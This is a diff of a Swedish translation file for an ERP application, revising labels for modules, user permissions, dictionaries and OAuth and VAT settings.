Module62000Desc=Lägg till funktioner för att hantera Incoterms Module63000Name=Resurser Module63000Desc=Hantera resurser (skrivare, bilar, rum, ...) för att tilldela händelser -Permission11=Läs fakturor -Permission12=Skapa / ändra fakturor -Permission13=Ogiltiga kundfakturor +Module66000Name=Aktivera OAuth2-autentisering +Module66000Desc=Tillhandahåll ett verktyg för att generera och hantera OAuth2-tokens. Token kan sedan användas av vissa andra moduler. +Module94160Name=Mottagningar +Permission11=Läs kundfakturor (och betalningar) +Permission12=Skapa/ändra fakturor +Permission13=Ogiltigförklara fakturor Permission14=Bekräfta fakturor Permission15=Skicka fakturor via e-post Permission16=Skapa betalningar för fakturor Permission19=Radera fakturor -Permission21=Läs affärsförslag -Permission22=Skapa / ändra affärsförslag -Permission24=Bekräfta affärsförslag -Permission25=Skicka affärsförslag -Permission26=Stäng affärsförslag -Permission27=Ta bort affärsförslag -Permission28=Export affärsförslag -Permission31=Läs produkter -Permission32=Skapa / modifiera produkter -Permission33=Read prices products -Permission34=Ta bort produkter -Permission36=Se / hantera dold produkter -Permission38=EXPORTVARA +Permission21=Se offerter +Permission22=Skapa/ändra offert +Permission24=Bekräfta offert +Permission25=Skicka offert +Permission26=Stäng offert +Permission27=Radera offert +Permission28=Exportera offert +Permission31=Se produkter +Permission32=Skapa/ändra produkter +Permission33=Se produktpriser +Permission34=Radera produkter +Permission36=Se/hantera dolda produkter +Permission38=Exportera produkter Permission39=Ignorera minimipriset -Permission41=Read projects and tasks (shared projects and projects of which I am a contact). -Permission42=Create/modify projects (shared projects and projects of which I am a contact). Can also assign users to projects and tasks -Permission44=Delete projects (shared projects and projects of which I am a contact) +Permission41=Se projekt och uppgifter (delade projekt och projekt jag är kontakt för) +Permission42=Skapa/ändra projekt (delade projekt och projekt jag är kontakt för). Kan också tilldela användare till projekt och uppgifter. +Permission44=Ta bort projekt (delade projekt och projekt som jag är kontakt för) Permission45=Exportera projekt -Permission61=Läs insatser -Permission62=Skapa / ändra inlägg -Permission64=Ta bort inlägg -Permission67=Export insatser -Permission68=Skicka insatser via e-post -Permission69=Validera ingripanden -Permission70=Ogiltiga åtgärder -Permission71=Läs medlemmar -Permission72=Skapa / modifiera medlemmar -Permission74=Ta bort medlemmar -Permission75=Definera typer av medlemskap +Permission61=Se interventioner +Permission62=Skapa/ändra interventioner +Permission64=Radera interventioner +Permission67=Exportera interventioner +Permission68=Skicka interventioner via e-post +Permission69=Bekräfta interventioner +Permission70=Ogiltigförklara interventioner +Permission71=Se medlemmar +Permission72=Skapa/ändra medlemmar +Permission74=Radera medlemmar +Permission75=Ange medlemstyper Permission76=Exportera data -Permission78=Läs prenumerationer -Permission79=Skapa / ändra abonnemang -Permission81=Läs kunderna order -Permission82=Skapa / modifiera kunder order -Permission84=Bekräfta kunder order -Permission85=Generate the documents sales orders -Permission86=Skicka kunder order -Permission87=Stäng kunder order -Permission88=Avbryt kunder order -Permission89=Ta bort kunder order -Permission91=Läs sociala eller skattemässiga skatter och moms -Permission92=Skapa / ändra sociala eller skattemässiga skatter och moms -Permission93=Radera sociala eller skattemässiga skatter och moms -Permission94=Exportera social eller skatte skatter -Permission95=Läs rapporter -Permission101=Läs sendings -Permission102=Skapa / ändra sendings -Permission104=Bekräfta leveranser -Permission105=Skicka sändningar via e-post -Permission106=Exportsend -Permission109=Ta bort sendings -Permission111=Läs finansiella räkenskaper -Permission112=Skapa / ändra / radera och jämför transaktioner -Permission113=Setup financial accounts (create, manage categories of bank transactions) +Permission78=Se prenumerationer +Permission79=Skapa/ändra prenumerationer +Permission81=Se order +Permission82=Skapa/ändra order +Permission84=Bekräfta order +Permission85=Generera ordererkännande +Permission86=Skicka ordererkännande +Permission87=Stäng order +Permission88=Avbryt order +Permission89=Radera order +Permission91=Se moms och skatter +Permission92=Skapa/ändra moms eller skatt +Permission93=Radera moms eller skatt +Permission94=Exportera moms eller skatt +Permission95=Se rapporter +Permission101=Se leveranser +Permission102=Skapa/ändra leverans +Permission104=Bekräfta leverans +Permission105=Skicka leveransinformation via e-post +Permission106=Exportera leveranser +Permission109=Radera leveranser +Permission111=Se finansiella konton +Permission112=Skapa/ändra/radera och jämför transaktioner +Permission113=Inställningar för bankkonton (skapa, hantera kategorier för banktransaktioner) Permission114=Förena transaktioner -Permission115=Exporttransaktioner och kontoutdrag +Permission115=Exportera transaktioner och kontoutdrag Permission116=Överföringar mellan konton -Permission117=Hantera kontroller som skickas -Permission121=Läs tredje part kopplad till användaren -Permission122=Skapa / ändra tredje part kopplad till användaren -Permission125=Radera tredje part kopplad till användaren -Permission126=Export tredje part -Permission130=Create/modify third parties payment information -Permission141=Read all projects and tasks (as well as the private projects for which I am not a contact) -Permission142=Create/modify all projects and tasks (as well as the private projects for which I am not a contact) -Permission144=Delete all projects and tasks (as well as the private projects I am not a contact) -Permission145=Can enter time consumed, for me or my hierarchy, on assigned tasks (Timesheet) -Permission146=Läs leverantörer -Permission147=Läs statistik -Permission151=Läs direkta betalningsuppdrag -Permission152=Skapa / ändra en order för direktbetalning -Permission153=Skicka / överför direktbetalningsorder -Permission154=Registreringskrediter / Avslag på order för direktbetalning -Permission161=Läs kontrakt / abonnemang -Permission162=Skapa / ändra avtal / abonnemang -Permission163=Aktivera en tjänst / teckning av ett kontrakt -Permission164=Inaktivera en tjänst / teckning av ett kontrakt -Permission165=Radera kontrakt / abonnemang -Permission167=Exportkontrakt -Permission171=Läs resor och utgifter (dina och dina underordnade) -Permission172=Skapa / ändra resor och kostnader -Permission173=Ta bort resor och kostnader -Permission174=Läsa alla resor och kostnader -Permission178=Export resor och kostnader -Permission180=Läs leverantörer -Permission181=Läs köporder -Permission182=Skapa / ändra inköpsorder +Permission117=Hantera checkar som skickas +Permission121=Se tredjepart kopplad till användaren +Permission122=Skapa/ändra tredjepart kopplad till användaren +Permission125=Radera tredjepart kopplad till användaren +Permission126=Exportera tredjepart +Permission130=Skapa/ändra tredjeparts betalningsinformation +Permission141=Se alla projekt och uppgifter (även privata projekt som jag inte är kontakt för) +Permission142=Skapa/ändra alla projekt och uppgifter (även privata projekt som jag inte är kontakt för) +Permission144=Ta bort alla projekt och uppgifter (även privata projekt jag inte är kontakt för) +Permission145=Kan ange nedlagd tid, för mig eller min hirearki, för tilldelade uppgifter (tidkort) +Permission146=Se leverantörer +Permission147=Se statistik +Permission151=Se order med direktbetalning +Permission152=Skapa/ändra order med direktbetalning +Permission153=Skicka/överför order med direktbetalning +Permission154=Registrera kreditering/nekande vid order med direktdebitering +Permission161=Se kontrakt/prenumerationer +Permission162=Skapa/ändra avtal/prenumeration +Permission163=Aktivera tjänst/prenumeration i ett kontrakt +Permission164=Inaktivera tjänst/prenumeration i ett kontrakt +Permission165=Radera kontrakt/prenumeration +Permission167=Exportera kontrakt +Permission171=Se resor och utgifter (du och underställda dig) +Permission172=Skapa/ändra resor och kostnader +Permission173=Radera resor och kostnader +Permission174=Se alla resor och kostnader +Permission178=Exportera resor och kostnader +Permission180=Se leverantörer +Permission181=Se inköpsorder +Permission182=Skapa/ändra inköpsorder Permission183=Bekräfta inköpsorder -Permission184=Godkänn köporder -Permission185=Beställ eller avbeställ inköpsorder +Permission184=Godkänn inköporder +Permission185=Beställ eller avbryt inköpsorder Permission186=Ta emot inköpsorder -Permission187=Stäng köporder -Permission188=Avbryt köporder -Permission192=Skapa linjer -Permission193=Avbryt linjer -Permission194=Läs bandbreddslinjerna +Permission187=Stäng inköpsorder +Permission188=Avbryt inköpsorder +Permission192=Skapa rader +Permission193=Makulera rader +Permission194=Se bandbreddsrader Permission202=Skapa ADSL-anslutning -Permission203=Beställ anslutningar order +Permission203=Beställ anslutningsorder Permission204=Beställ anslutningar Permission205=Hantera anslutningar -Permission206=Läs anslutningar -Permission211=Läs Telefoni +Permission206=Se anslutningar +Permission211=Se telefoni Permission212=Orderrader -Permission213=Aktivera linje -Permission214=Setup Telefoni -Permission215=Setup leverantörer -Permission221=Läs emailings -Permission222=Skapa / ändra emailings (ämne, mottagare ...) -Permission223=Bekräfta emailings (medger sändning) -Permission229=Ta bort emailings +Permission213=Aktivera rad +Permission214=Inställningar för telefoni +Permission215=Inställningar för leverantörer +Permission221=Se e-postutskick +Permission222=Skapa/ändra e-postutskick (ämne, mottagare ...) +Permission223=Bekräfta e-postutskick (sändning tillåts) +Permission229=Radera e-postutskick Permission237=Visa mottagare och info -Permission238=Skicka försändelserna manuellt -Permission239=Radera utskick efter bekräftande eller märkning av skickad -Permission241=Läs kategorier -Permission242=Skapa / ändra kategorier -Permission243=Ta bort kategorier -Permission244=Se innehållet i de dolda kategorier -Permission251=Läs andra användare och grupper -PermissionAdvanced251=Läs andra användare -Permission252=Skapa / ändra andra användare, grupper och permisssions -Permission253=Skapa / ändra andra användare, grupper och behörigheter -PermissionAdvanced253=Skapa / ändra interna / externa användare och behörigheter -Permission254=Ta bort eller inaktivera andra användare -Permission255=Skapa / ändra sin egen användarinformation -Permission256=Ändra sina egna lösenord -Permission262=Utöka åtkomst till alla tredje parter OCH deras objekt (inte bara tredje parter för vilka användaren är en försäljningsrepresentant).
      Inte effektivt för externa användare (alltid begränsade till sig själva för förslag, beställningar, fakturor, kontrakt etc.).
      Inte effektivt för projekt (endast regler om projektbehörigheter, synlighet och uppdragsfrågor). -Permission263=Utöka åtkomst till alla tredje parter UTAN deras objekt (inte bara tredje parter för vilka användaren är en försäljningsrepresentant).
      Inte effektivt för externa användare (alltid begränsade till sig själva för förslag, beställningar, fakturor, kontrakt etc.).
      Inte effektivt för projekt (endast regler om projektbehörigheter, synlighet och uppdragsfrågor). -Permission271=Läs CA -Permission272=Läs fakturor +Permission238=Skicka meddelanden manuellt +Permission239=Radera utskick efter bekräftande eller när markerad som skickad +Permission241=Se kategorier +Permission242=Skapa/ändra kategorier +Permission243=Radera kategorier +Permission244=Se innehåll i dolda kategorier +Permission251=Se andra användare och grupper +PermissionAdvanced251=Se andra användare +Permission252=Skapa/ändra andra användare, grupper och rättigheter +Permission253=Skapa/ändra andra användare, grupper och rättigheter +PermissionAdvanced253=Skapa/ändra interna/externa användare och rättigheter +Permission254=Radera eller inaktivera externa användare +Permission255=Ändra andra användares lösenord +Permission256=Radera eller inaktivera andra användare +Permission262=Utöka åtkomst till alla tredjeparter OCH deras objekt (inte bara tredjeparter för vilka användaren är representant).
      Gäller inte externa användare (alltid begränsade till sig själva för offerter, order, fakturor, kontrakt etc.).
      Gäller inte heller projekt (endast regler om projekträttigheter, synlighet och uppdragsfrågor). +Permission263=Utöka åtkomst till alla tredjeparter UTAN deras objekt (inte bara tredjeparter för vilka användaren är representant).
      Gäller inte externa användare (alltid begränsade till sig själva för offerter, order, fakturor, kontrakt etc.).
      Gäller inte heller projekt (endast regler om projektbehörigheter, synlighet och uppdragsfrågor). +Permission271=Se CA +Permission272=Se fakturor Permission273=Utfärda fakturor -Permission281=Läs kontakter -Permission282=Skapa / ändra kontakter +Permission281=Se kontakter +Permission282=Skapa/ändra kontakter Permission283=Radera kontakter Permission286=Exportera kontakter -Permission291=Läs taxor -Permission292=Ange behörigheter på den taxor -Permission293=Ändra kundens avgifter -Permission300=Läs streckkoder -Permission301=Skapa / ändra streckkoder -Permission302=Radera streckkoder -Permission311=Läs tjänster -Permission312=Tilldela tjänst / abonnemang att ingå avtal -Permission331=Läs bokmärken -Permission332=Skapa / ändra bokmärken -Permission333=Ta bort bokmärken -Permission341=Läs sina egna behörigheter -Permission342=Skapa / ändra sin egen användarinformation -Permission343=Ändra sitt lösenord -Permission344=Ändra sina egna behörigheter -Permission351=Läs grupper -Permission352=Läs grupper tillstånd -Permission353=Skapa / ändra grupper +Permission291=Se taxor +Permission292=Ange rättigheter på taxor +Permission293=Ändra kunders taxa +Permission301=Generera PDF-dokument med streckkoder +Permission304=Skapa/ändra streckkoder +Permission305=Radera streckkoder +Permission311=Se tjänster +Permission312=Tilldela tjänst/prenumeratil till avtal +Permission331=Se bokmärken +Permission332=Skapa/ändra bokmärken +Permission333=Radera bokmärken +Permission341=Se egna behörigheter +Permission342=Skapa/ändra egen användarinformation +Permission343=Ändra eget lösenord +Permission344=Ändra egna behörigheter +Permission351=Se grupper +Permission352=Se grupprättigheter +Permission353=Skapa/ändra grupper Permission354=Ta bort eller inaktivera grupper Permission358=Exportera användare -Permission401=Läs rabatter -Permission402=Skapa / ändra rabatter +Permission401=Se rabatter +Permission402=Skapa/ändra rabatter Permission403=Bekräfta rabatter -Permission404=Ta bort rabatter +Permission404=Radera rabatter Permission430=Använd felsökningsfältet -Permission511=Visa löner och utbetalningar (dina och anställdas) +Permission511=Se löner och utbetalningar (dina och anställdas) Permission512=Skapa/ändra löner och utbetalningar -Permission514=Ta bort löner och utbetalningar -Permission517=Visa löner och utbetalningar för alla -Permission519=Export löner -Permission520=Läs Lån -Permission522=Skapa / ändra lån +Permission514=Radera löner och utbetalningar +Permission517=Se löner och utbetalningar för alla +Permission519=Exportera löner +Permission520=Se lån +Permission522=Skapa/ändra lån Permission524=Radera lån -Permission525=Tillgång lån kalkylator -Permission527=Exportlånet -Permission531=Läs tjänster -Permission532=Skapa / modifiera tjänster -Permission533=Read prices services -Permission534=Ta bort tjänster -Permission536=Se / Hantera dolda tjänster +Permission525=Åtkomst lånekalkylator +Permission527=Exportera lån +Permission531=Se tjänster +Permission532=Skapa/ändra tjänster +Permission533=Se tjänstepriser +Permission534=Radera tjänster +Permission536=Se/hantera dolda tjänster Permission538=Exportera tjänster -Permission561=Läs betalningsuppdrag via kreditöverföring -Permission562=Skapa / ändra betalningsorder genom kreditöverföring -Permission563=Skicka / överför betalningsorder med kreditöverföring -Permission564=Spela in debiteringar / avslag på kreditöverföring -Permission601=Läs klistermärken -Permission602=Skapa / ändra klistermärken -Permission609=Ta bort klistermärken -Permission611=Read attributes of variants -Permission612=Create/Update attributes of variants -Permission613=Delete attributes of variants -Permission650=Läs Bills of Materials -Permission651=Skapa / uppdatera materialräkningar -Permission652=Ta bort materialräkningar -Permission660=Läs tillverkningsorder (MO) -Permission661=Skapa / uppdatera tillverkningsorder (MO) -Permission662=Ta bort tillverkningsorder (MO) -Permission701=Läs donationer -Permission702=Skapa / ändra donationer -Permission703=Ta bort donationer -Permission771=Läs utgiftsrapporter (din och dina underordnade) -Permission772=Create/modify expense reports (for you and your subordinates) -Permission773=Radera räkningar -Permission775=Godkänn räkningar -Permission776=Betala räkningar -Permission777=Read all expense reports (even those of user not subordinates) -Permission778=Skapa / modifiera utgiftsrapporter för alla -Permission779=Export räkningar -Permission1001=Läs lager -Permission1002=Skapa / ändra lager +Permission561=Se betalningsuppdrag via kreditöverföring +Permission562=Skapa/ändra betalningsorder via kreditöverföring +Permission563=Skicka/överför betalningsorder via kreditöverföring +Permission564=Registrera debiteringar/nekanden på kreditöverföring +Permission601=Se stickers +Permission602=Skapa/ändra stickers +Permission609=Radera stickers +Permission611=Se attribut för varianter +Permission612=Skapa/uppdatera attribut för varianter +Permission613=Radera attribut för varianter +Permission650=Se Bill of Materials +Permission651=Skapa/uppdatera BoM +Permission652=Radera BoM +Permission660=Se tillverkningsorder (MO) +Permission661=Skapa/uppdatera tillverkningsorder (MO) +Permission662=Radera tillverkningsorder (MO) +Permission701=Se donationer +Permission702=Skapa/ändra donationer +Permission703=Radera donationer +Permission771=Se utgiftsrapporter (din och underordnade) +Permission772=Skapa/ändra utgiftsrapporter (för dig och underordnade) +Permission773=Radera utgiftsrapporter +Permission775=Godkänn utgiftsrapporter +Permission776=Betala utgiftsrapporter +Permission777=Se alla utläggsrapporter (även för användare som inte är dina underordnade) +Permission778=Skapa/ändra utgiftsrapporter för alla +Permission779=Exportera utgiftsrapporter +Permission1001=Se lager +Permission1002=Skapa/ändra lager Permission1003=Radera lager -Permission1004=Läs lager rörelser -Permission1005=Skapa / ändra lager rörelser -Permission1011=Visa inventarier -Permission1012=Create new inventory -Permission1014=Bekräfta inventering -Permission1015=Allow to change PMP value for a product -Permission1016=Delete inventory -Permission1101=Läs leveranskvitton -Permission1102=Skapa / modifiera leveranskvitton -Permission1104=Validera leveranskvitton +Permission1004=Se lagerrörelser +Permission1005=Skapa/ändra lagerrörelser +Permission1011=Se inventarier +Permission1012=Skapa ny inventarie +Permission1014=Bekräfta inventerie +Permission1015=Tillåt att ändra PMP-värdet för en produkt +Permission1016=Radera inventarie +Permission1101=Se leveranskvitton +Permission1102=Skapa/ändra leveranskvitton +Permission1104=Bekräfta leveranskvitton Permission1109=Ta bort leveranskvitton -Permission1121=Läs leverantörsförslag -Permission1122=Skapa / modifiera leverantörsförslag -Permission1123=Validera leverantörsförslag -Permission1124=Skicka leverantörsförslag -Permission1125=Ta bort leverantörsförslag -Permission1126=Stäng förfrågningar om leverantörspris -Permission1181=Läs leverantörer -Permission1182=Läs köporder -Permission1183=Skapa / ändra inköpsorder +Permission1121=Se leverantörsofferter +Permission1122=Skapa/ändra leverantörsofferter +Permission1123=Bekräfta leverantörsofferter +Permission1124=Skicka leverantörsofferter +Permission1125=Radera leverantörsofferter +Permission1126=Stäng prisförfrågan +Permission1181=Se leverantörer +Permission1182=Se inköpsorder +Permission1183=Skapa/ändra inköpsorder Permission1184=Bekräfta inköpsorder -Permission1185=Godkänn köporder -Permission1186=Beställ beställningsorder +Permission1185=Godkänn inköpsorder +Permission1186=Beställ inköpsorder Permission1187=Bekräfta mottagande av inköpsorder -Permission1188=Ta bort inköpsorder -Permission1189=Markera / avmarkera en inköpsordermottagning +Permission1188=Radera inköpsorder +Permission1189=Markera/avmarkera ett mottagande av inköpsorder Permission1190=Godkänn (andra godkännande) inköpsorder Permission1191=Exportera leverantörsorder och deras attribut -Permission1201=Få resultat av en export -Permission1202=Skapa / ändra en export -Permission1231=Läs leverantörsfakturor -Permission1232=Skapa / ändra försäljningsfakturor +Permission1201=Få resultatet av en export +Permission1202=Skapa/ändra en export +Permission1231=Läs leverantörsfakturor (och betalningar) +Permission1232=Skapa/ändra leverantörsfakturor Permission1233=Bekräfta leverantörsfakturor -Permission1234=Radera försäljningsfakturor -Permission1235=Skicka försäljningsfakturor via e-post +Permission1234=Radera leverantörsfakturor +Permission1235=Skicka leverantörsfakturor via e-post Permission1236=Exportera leverantörsfakturor, attribut och betalningar Permission1237=Exportera inköpsorder och deras uppgifter -Permission1251=Kör massiv import av externa data till databasen (data last) -Permission1321=Export kundfakturor, attribut och betalningar +Permission1251=Kör bulkimport av extern data till databasen (dataladdning) +Permission1321=Export fakturor, attribut och betalningar Permission1322=Öppna en betald faktura igen -Permission1421=Exportera försäljningsorder och attribut -Permission1521=Läs dokument -Permission1522=Ta bort dokument -Permission2401=Läs åtgärder (händelser eller uppgifter) som är länkade till hans användarkonto (om ägare till händelsen eller just tilldelats till) -Permission2402=Skapa / modifiera åtgärder (händelser eller uppgifter) länkade till sitt användarkonto (om ägare till händelse) -Permission2403=Ta bort åtgärder (händelser eller uppgifter) som är länkade till hans användarkonto (om ägaren till händelsen) -Permission2411=Läs åtgärder (händelser eller uppgifter) andras -Permission2412=Skapa / ändra åtgärder (händelser eller uppgifter) andras -Permission2413=Radera åtgärder (händelser eller uppgifter) andras -Permission2414=Exportera åtgärder / uppgifter från andra -Permission2501=Läsa dokument -Permission2502=Skicka eller ta bort dokument -Permission2503=Lämna eller ta bort dokument -Permission2515=Setup dokument kataloger -Permission2801=Använd FTP-klient i läsläge (bläddra och ladda endast) +Permission1421=Exportera order och attribut +Permission1521=Se dokument +Permission1522=Radera dokument +Permission2401=Se åtgärder (händelser eller uppgifter) som är länkade till ett användarkonto (om ägare till händelsen eller just tilldelats) +Permission2402=Skapa/ändra åtgärder (händelser eller uppgifter) länkade till ett användarkonto (om ägare till händelse) +Permission2403=Radera åtgärder (händelser eller uppgifter) som är länkade till ett användarkonto (om ägare till händelsen) +Permission2411=Se åtgärder (händelser eller uppgifter) för andra +Permission2412=Skapa/ändra åtgärder (händelser eller uppgifter) för andra +Permission2413=Radera åtgärder (händelser eller uppgifter) för andra +Permission2414=Exportera åtgärder/uppgifter från andra +Permission2501=Se/ladda ner dokument +Permission2502=Ladda ner dokument +Permission2503=Skicka eller radera dokument +Permission2515=Ange dokumentkataloger +Permission2801=Använd FTP-klient i läsläge (bläddra och ladda ner enbart) Permission2802=Använd FTP-klient i skrivläge (radera eller ladda upp filer) -Permission3200=Läs arkiverade händelser och fingeravtryck +Permission3200=Se arkiverade händelser och fingeravtryck Permission3301=Skapa nya moduler -Permission4001=Read skill/job/position -Permission4002=Create/modify skill/job/position -Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu -Permission4031=Read personal information -Permission4032=Write personal information -Permission10001=Läs webbplatsens innehåll -Permission10002=Skapa / ändra webbplatsinnehåll (html- och javaskriptinnehåll) -Permission10003=Skapa / modifiera webbplatsinnehåll (dynamisk php-kod). Farligt, måste reserveras för begränsade utvecklare. -Permission10005=Ta bort webbplatsinnehåll -Permission20001=Läs ledighetsförfrågningar (din ledighet och dina underordnade) -Permission20002=Skapa / ändra dina förfrågningar (din ledighet och dina underordnade) -Permission20003=Radera ledighets förfrågningar -Permission20004=Read all leave requests (even those of user not subordinates) -Permission20005=Create/modify leave requests for everybody (even those of user not subordinates) -Permission20006=Administer leave requests (setup and update balance) -Permission20007=Godkänn ledighetsförfrågningar -Permission23001=Läs Planerad jobb -Permission23002=Skapa / uppdatera Schemalagt jobb +Permission4001=Se utbildning/jobb/position +Permission4002=Skapa/ändra utbildning/jobb/position +Permission4003=Radera utbildning/jobb/position +Permission4021=Läs utvärderingar (dina och underordnade) +Permission4022=Skapa/ändra utvärderingar +Permission4023=Bekräfta utvärdering +Permission4025=Radera utvärdering +Permission4028=Se jämförelsemeny +Permission4031=Se personlig information +Permission4032=Skriva personlig information +Permission4033=Läs alla utvärderingar (även de som inte är underordnade) +Permission10001=Se webbplatsens innehåll +Permission10002=Skapa/ändra innehåll på webbplatsen webbplatsinnehåll (html- och javaskript) +Permission10003=Skapa/ändra innehåll på webbplatsen (dynamisk php-kod). Bör reserveras för utvecklare! +Permission10005=Radera innehåll från webbplatsen +Permission20001=Se ledighetsförfrågningar (din och underordnade) +Permission20002=Skapa/ändra ledighetsförfrågningar (din och underordnade) +Permission20003=Radera ledighetsansökningar +Permission20004=Se alla ledighetsansökningar (även för användare som inte är dina underordnade) +Permission20005=Skapa/ändra ledighetsansökningar (även för användare som inte är dina underordnade) +Permission20006=Hantera ledighetsansökningar (inställningar och uppdatera) +Permission20007=Godkänn ledighetsansökningar +Permission23001=Se schemalagda jobb +Permission23002=Skapa/uppdatera schemalagt jobb Permission23003=Radera schemalagt jobb -Permission23004=Utför schemalagt jobb -Permission50101=Använd försäljningsstället (SimplePOS) -Permission50151=Använd försäljningsställe (TakePOS) -Permission50152=Redigera försäljningslinjer -Permission50153=Redigera beställda försäljningsrader -Permission50201=Läs transaktioner +Permission23004=Kör schemalagt jobb +Permission50101=Använd kassa (SimplePOS) +Permission50151=Använd kassa (TakePOS) +Permission50152=Ändra orderrader +Permission50153=Ändra beställd orderrad +Permission50201=Se transaktioner Permission50202=Importera transaktioner Permission50330=Läs objekt från Zapier -Permission50331=Skapa / uppdatera objekt från Zapier -Permission50332=Ta bort objekt från Zapier -Permission50401=Binda produkter och fakturor med redovisningskonton -Permission50411=Läs operationer i storbok -Permission50412=Skriv / redigera operationer i storbok -Permission50414=Ta bort operationer i storbok -Permission50415=Ta bort alla operationer efter år och journal i huvudbok -Permission50418=Exportbokföringen -Permission50420=Rapporter och exportrapporter (omsättning, balans, tidskrifter, huvudbok) -Permission50430=Definiera budgetperioder. Validera transaktioner och stäng räkenskapsperioder. +Permission50331=Skapa/uppdatera objekt från Zapier +Permission50332=Radera objekt från Zapier +Permission50401=Binda produkter och fakturor mot redovisningskonton +Permission50411=Se operationer i huvudboken +Permission50412=Skriv/redigera operationer i huvudboken +Permission50414=Radera operationer i huvudboken +Permission50415=Ta bort alla operationer efter år och journal i huvudboken +Permission50418=Exportera bokföringen +Permission50420=Rapporter och exportrapporter (omsättning, balans, journal och huvudbok) +Permission50430=Ange budgetperioder. Bekräfta transaktioner och stänga räkenskapsperioder. Permission50440=Hantera kontoplan, konfiguration av bokföring -Permission51001=Läs tillgångar -Permission51002=Skapa / uppdatera tillgångar -Permission51003=Ta bort tillgångar -Permission51005=Konfiguration av tillgångstillgångar -Permission54001=Print -Permission55001=Läs omröstningar -Permission55002=Skapa / ändra omröstningar -Permission59001=Läs kommersiella marginaler -Permission59002=Definiera kommersiella marginaler -Permission59003=Läs varje användaremarginal -Permission63001=Läs resurser -Permission63002=Skapa / modifiera resurser -Permission63003=Ta bort resurser -Permission63004=Länka resurser till agendahändelser +Permission51001=Se tillgångar +Permission51002=Skapa/uppdatera tillgångar +Permission51003=Radera tillgångar +Permission51005=Konfigurera tillgångstyper +Permission54001=Skriv ut +Permission55001=Se omröstningar +Permission55002=Skapa/ändra omröstningar +Permission59001=Se marginaler +Permission59002=Ange marginaler +Permission59003=Se varje användarmarginal +Permission63001=Se resurser +Permission63002=Skapa/ändra resurser +Permission63003=Radera resurser +Permission63004=Länka resurser till dagordningshändelser Permission64001=Tillåt direktutskrift Permission67000=Tillåt utskrift av kvitton -Permission68001=Läs intracomm-rapporten -Permission68002=Skapa / ändra intracomm-rapport -Permission68004=Ta bort intracomm-rapporten -Permission941601=Läsa kvitton +Permission68001=Läs intracomm-rapport +Permission68002=Skapa/ändra intracomm-rapport +Permission68004=Radera intracomm-rapporten +Permission941601=Se kvitton Permission941602=Skapa och ändra kvitton -Permission941603=Validera kvitton +Permission941603=Bekräfta kvitton Permission941604=Skicka kvitton via e-post Permission941605=Exportera kvitton -Permission941606=Ta bort kvitton +Permission941606=Radera kvitton DictionaryCompanyType=Tredjepartstyper DictionaryCompanyJuridicalType=Tredjeparts juridiska personer DictionaryProspectLevel=Prospekt potentialnivå för företag DictionaryProspectContactLevel=Prospekt potentialnivå för kontakter -DictionaryCanton=Stater / Provinser +DictionaryCanton=Stater/län DictionaryRegion=Regioner DictionaryCountry=Länder DictionaryCurrency=Valutor -DictionaryCivility=Honorific titlar -DictionaryActions=Typer av agendahändelser -DictionarySocialContributions=Typer av sociala eller skattemässiga skatter -DictionaryVAT=Moms Priser och Sales Tax Rates -DictionaryRevenueStamp=Belopp för skattefrimärken +DictionaryCivility=Tilltalstitlar +DictionaryActions=Typer av händelser i dagordningen +DictionarySocialContributions=Typer av moms och skatt +DictionaryVAT=Moms- och skattesatser +DictionaryRevenueStamp=Antal skattemärken DictionaryPaymentConditions=Betalningsvillkor DictionaryPaymentModes=Betalningslägen -DictionaryTypeContact=Kontakt / adresstyper -DictionaryTypeOfContainer=Webbplats - Typ av webbsidor / containrar +DictionaryTypeContact=Kontakt-/adresstyper +DictionaryTypeOfContainer=Webbplats - typ av sida/container DictionaryEcotaxe=Miljöskatt (WEEE) DictionaryPaperFormat=Pappersformat DictionaryFormatCards=Kortformat -DictionaryFees=Kostnadsrapport - Typ av kostnadsrapporteringsrader -DictionarySendingMethods=Fraktmetoder -DictionaryStaff=antal anställda +DictionaryFees=Kostnadsrapport - typer av rader på rapporten +DictionarySendingMethods=Leveranssätt +DictionaryStaff=Antal anställda DictionaryAvailability=Leveransförsening -DictionaryOrderMethods=Beställningsmetoder -DictionarySource=Ursprung av affärsförslag / beställning +DictionaryOrderMethods=Beställningssätt +DictionarySource=Ursprung för offert/order DictionaryAccountancyCategory=Personliga grupper för rapporter DictionaryAccountancysystem=Modeller för kontoplan DictionaryAccountancyJournal=Bokföringsloggbok DictionaryEMailTemplates=E-postmallar DictionaryUnits=Enheter -DictionaryMeasuringUnits=Mätningsenheter +DictionaryMeasuringUnits=Måttenheter DictionarySocialNetworks=Sociala nätverk DictionaryProspectStatus=Prospektstatus för företag DictionaryProspectContactStatus=Prospektstatus för kontakter -DictionaryHolidayTypes=Ledighet - Typer av ledighet -DictionaryOpportunityStatus=Ledningsstatus för projekt / ledning -DictionaryExpenseTaxCat=Kostnadsrapport - Transportkategorier -DictionaryExpenseTaxRange=Kostnadsrapport - Räckvidd per transportkategori -DictionaryTransportMode=Intracomm-rapport - Transportläge -DictionaryBatchStatus=Produktparti / seriell kvalitetskontrollstatus -DictionaryAssetDisposalType=Type of disposal of assets +DictionaryHolidayTypes=Ledighet - typer av ledighet +DictionaryOpportunityStatus=Status för projekt/lead +DictionaryExpenseTaxCat=Utgiftsrapport - transportkategorier +DictionaryExpenseTaxRange=Utgiftsrapport - avstånd per transportkategori +DictionaryTransportMode=Intracomm-rapport - transportläge +DictionaryBatchStatus=Status för kvalitetskontroll med batch/sernummer +DictionaryAssetDisposalType=Typ av avyttring av tillgångar TypeOfUnit=Typ av enhet SetupSaved=Inställningarna sparas SetupNotSaved=Inställningen är inte sparad +OAuthServiceConfirmDeleteTitle=Radera OAuth-post +OAuthServiceConfirmDeleteMessage=Är du säker på att du vill radera denna OAuth-post? Alla befintliga tokens för den kommer också att raderas. +ErrorInEntryDeletion=Fel vid radering av post +EntryDeleted=Posten raderad BackToModuleList=Tillbaka till modullista -BackToDictionaryList=Tillbaka till ordböcker listan -TypeOfRevenueStamp=Typ av skattemärke -VATManagement=Sales Tax Management -VATIsUsedDesc=Som standard när du skapar prospekt, fakturor, order etc. följer försäljningsskattesatsen den aktiva standardregeln:
      Om säljaren inte är föremål för moms, är försäljningsskatten till 0. Slut på regeln.
      Om (säljarens land = köparens land) är försäljningsskatten som standard lika med försäljningsskatten för produkten i säljarens land. Slut på regeln.
